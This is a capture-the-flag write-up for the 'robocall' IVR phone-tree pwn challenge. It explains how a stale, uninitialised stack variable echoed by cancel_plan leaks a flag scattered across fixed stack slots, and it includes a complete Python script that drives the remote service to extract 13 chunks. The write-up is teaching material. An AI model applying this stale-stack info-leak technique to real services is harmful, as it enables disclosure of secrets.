$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: x86-64 IVR/phone-tree pwn with no output primitive except one integer echo; flag is scattered into fixed stack slots by place_flag() and raw_parse_int leaves its output stale on empty input. Solution: control stack-frame depth via non-destructive menu detours so the echoed variable aliases each flag chunk, leaking 13 dwords.
Welcome to robocall! Let's see how nimbly you navigate this stack.
A phone-tree / IVR menu simulation ("Premium Cable Inc"). The stated goal is
to cancel your subscription. Given an x86-64 ELF robocall and a remote
service nc sunshinectf.games 26199. Flag format sun{...}.
Protections: PIE, NX, no stack canary, IBT/SHSTK. Not stripped. The only
libc imports are read, write, open, close, nanosleep, setvbuf,
_exit. Critically there is no printf and no flag-printing gadget — the
program never has a direct "cat the flag" path.
Three facts combine into the vulnerability:
The flag is scattered onto fixed stack slots. main() calls
place_flag() first. It opens flag.txt, reads up to 52 bytes into a temp
buffer, then writes the flag into thirteen 4-byte chunks at fixed stack
addresses. Chunk i is written to dest = frame_base + (0x19dc - CHUNK_DEPTH[i]),
which reduces to an absolute address var0 - CHUNK_DEPTH[i], where:
CHUNK_DEPTH = {0x400, 0x480, 0x520, 0x570, 0x5a0, 0x640, 0x690, 0x6c0, 0x760, 0x7b0, 0x7e0, 0x800, 0x880}var0 = the address of cancel_plan()'s local [rbp-0x204] (the parsed
menu integer) when cancel_plan is reached at minimal depth
(var0 = place_flag_rbp - 0x644). All chunks sit below var0.These chunk bytes persist on the stack after place_flag() returns.
raw_parse_int(buf, &out) does not write out on empty / non-numeric
input — it returns 0 and leaves out unchanged (stale). This is the
trigger for stale-value reuse.
cancel_plan() echoes its menu variable back to the user: it prints
You've entered "<X>" via raw_print_int([rbp-0x204]). This is the only
primitive in the whole program that emits attacker-influenced memory as
observable output.
Combining them: if you answer the relevant cancel_plan prompts with empty
input, [rbp-0x204] keeps its stale stack value and the echo leaks that
dword. If [rbp-0x204] currently aliases a flag chunk, the echo prints 4 flag
bytes as a little-endian int32.
The echo variable's address equals var0 at minimal depth (above all chunks).
To make it alias chunk i, reach cancel_plan with extra stack depth exactly
CHUNK_DEPTH[i]. The extra depth must be added by non-destructive detours at
the top (start_position) level BEFORE the single descent into cancel_plan.
Once you enter cancel_plan and take any case branch it calls
login_roleplay / get_a_fun_fact, which overwrite the flag region below.
Minimal path to cancel_plan:
main
→ enter `42` once (sets be_annoying = 0, disabling nanosleep delays)
→ start_position menu `1` (Call)
→ initial_call menu `6` (other inquiries)
→ other_inquiries menu `2`
→ cancel_plan → login_roleplay prompts (phone/address/pet)
For the leak you only need to give empty answers to the first two
cancel_plan questions to trigger the You've entered "X" echo of the stale
variable. (The cancel Q&A is a trick maze with weird key mappings like
"Press 1 for no / Press 8 for yes", but that is irrelevant to the leak.)
Each lever adds a fixed offset before the one descent, all applied at
start_position level so they do not clobber the flag region:
start_position self-recursion via option 3 ("Scream…", which
calls scream() then start_position): +0x120 per use. Tokens: 3,5.initial_call menu 2 → report_outage (reads one line, returns to
start_position): base +0x400. Tokens: 1,2,<any>.initial_call menu 4 → technical_support option 1 →
report_outage → start_position: base +0x570. Tokens: 1,4,1,<any>.The three levers cover all 13 CHUNK_DEPTH offsets (0x120 = S step):
0x400 = R 0x480 = 4S 0x570 = T
0x520 = R + 1S 0x5a0 = 5S 0x690 = T + 1S
0x640 = R + 2S 0x6c0 = 6S 0x7b0 = T + 2S
0x760 = R + 3S 0x7e0 = 7S
0x800 = 2R 0x880 = R + 4S
For each chunk i: connect, send 42, then the detour tokens for chunk i,
then descend 1,6,2, the login answers, then two empty lines. Parse the
integer from You've entered "X", take it mod 2**32, and struct.pack('<I', X)
to get 4 ASCII bytes. Concatenate chunk0..chunk12 to reconstruct the flag (it
starts with sun{ and ends with }).
#!/usr/bin/env python3 import socket, struct, time HOST, PORT = "sunshinectf.games", 26199 CHUNK_DEPTH = [0x400, 0x480, 0x520, 0x570, 0x5a0, 0x640, 0x690, 0x6c0, 0x760, 0x7b0, 0x7e0, 0x800, 0x880] # Non-destructive detour token sequences (applied at start_position level, # BEFORE the single descent into cancel_plan). S=+0x120, R=+0x400, T=+0x570. S = ["3", "5"] # scream() self-recursion R = ["1", "2", "x"] # report_outage T = ["1", "4", "1", "x"] # technical_support -> report_outage # Map each CHUNK_DEPTH to its lever composition. DETOURS = { 0x400: R, 0x480: S * 4, 0x520: R + S * 1, 0x570: T, 0x5a0: S * 5, 0x640: R + S * 2, 0x690: T + S * 1, 0x6c0: S * 6, 0x760: R + S * 3, 0x7b0: T + S * 2, 0x7e0: S * 7, 0x800: R + R, 0x880: R + S * 4, } # Descent into cancel_plan + login answers, then two EMPTY lines to trigger # the stale-variable echo. DESCENT = ["1", "6", "2", "phone", "address", "pet", "", ""] def recv_until_quiet(sock, idle=0.4, total=4.0): sock.settimeout(idle) data = b"" start = time.time() while time.time() - start < total: try: chunk = sock.recv(4096) if not chunk: break data += chunk except socket.timeout: break return data def leak_chunk(depth): tokens = ["42"] + DETOURS[depth] + DESCENT s = socket.create_connection((HOST, PORT)) payload = ("\n".join(tokens) + "\n").encode() s.sendall(payload) out = recv_until_quiet(s) s.close() # Parse: You've entered "X" marker = b'You\'ve entered "' idx = out.rfind(marker) if idx == -1: raise RuntimeError(f"no echo for depth {depth:#x}\n{out!r}") tail = out[idx + len(marker):] num = tail.split(b'"')[0].strip() val = int(num) & 0xFFFFFFFF return struct.pack("<I", val) def main(): flag = b"" for depth in CHUNK_DEPTH: piece = leak_chunk(depth) flag += piece print(f"[{depth:#05x}] {piece!r}") print("FLAG:", flag) # sun{REDACTED} if __name__ == "__main__": main()
Recovered flag has the expected format sun{REDACTED}.
Static analysis with objdump recovered the place_flag() scatter offsets and
the cancel_plan echo. On an ARM host, chunk addresses were confirmed
dynamically with Docker + qemu-x86_64 -g (gdbstub) + gdb-multiarch,
breaking after place_flag() and inspecting the fixed stack slots. Python
sockets drove the remote extraction.
Use this technique when:
You've entered "X"), and no printf or flag-printing gadget.place_flag()-style routine runs first and scatters the flag into fixed
stack slots rather than keeping it in one buffer — screams
uninitialized-stack / stack-frame-overlap info leak.raw_parse_int) does not write its output on empty /
non-numeric input, so a stale stack dword is re-echoed.42) to zero a be_annoying sleep counter and
disable nanosleep delays for fast, scriptable extraction.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar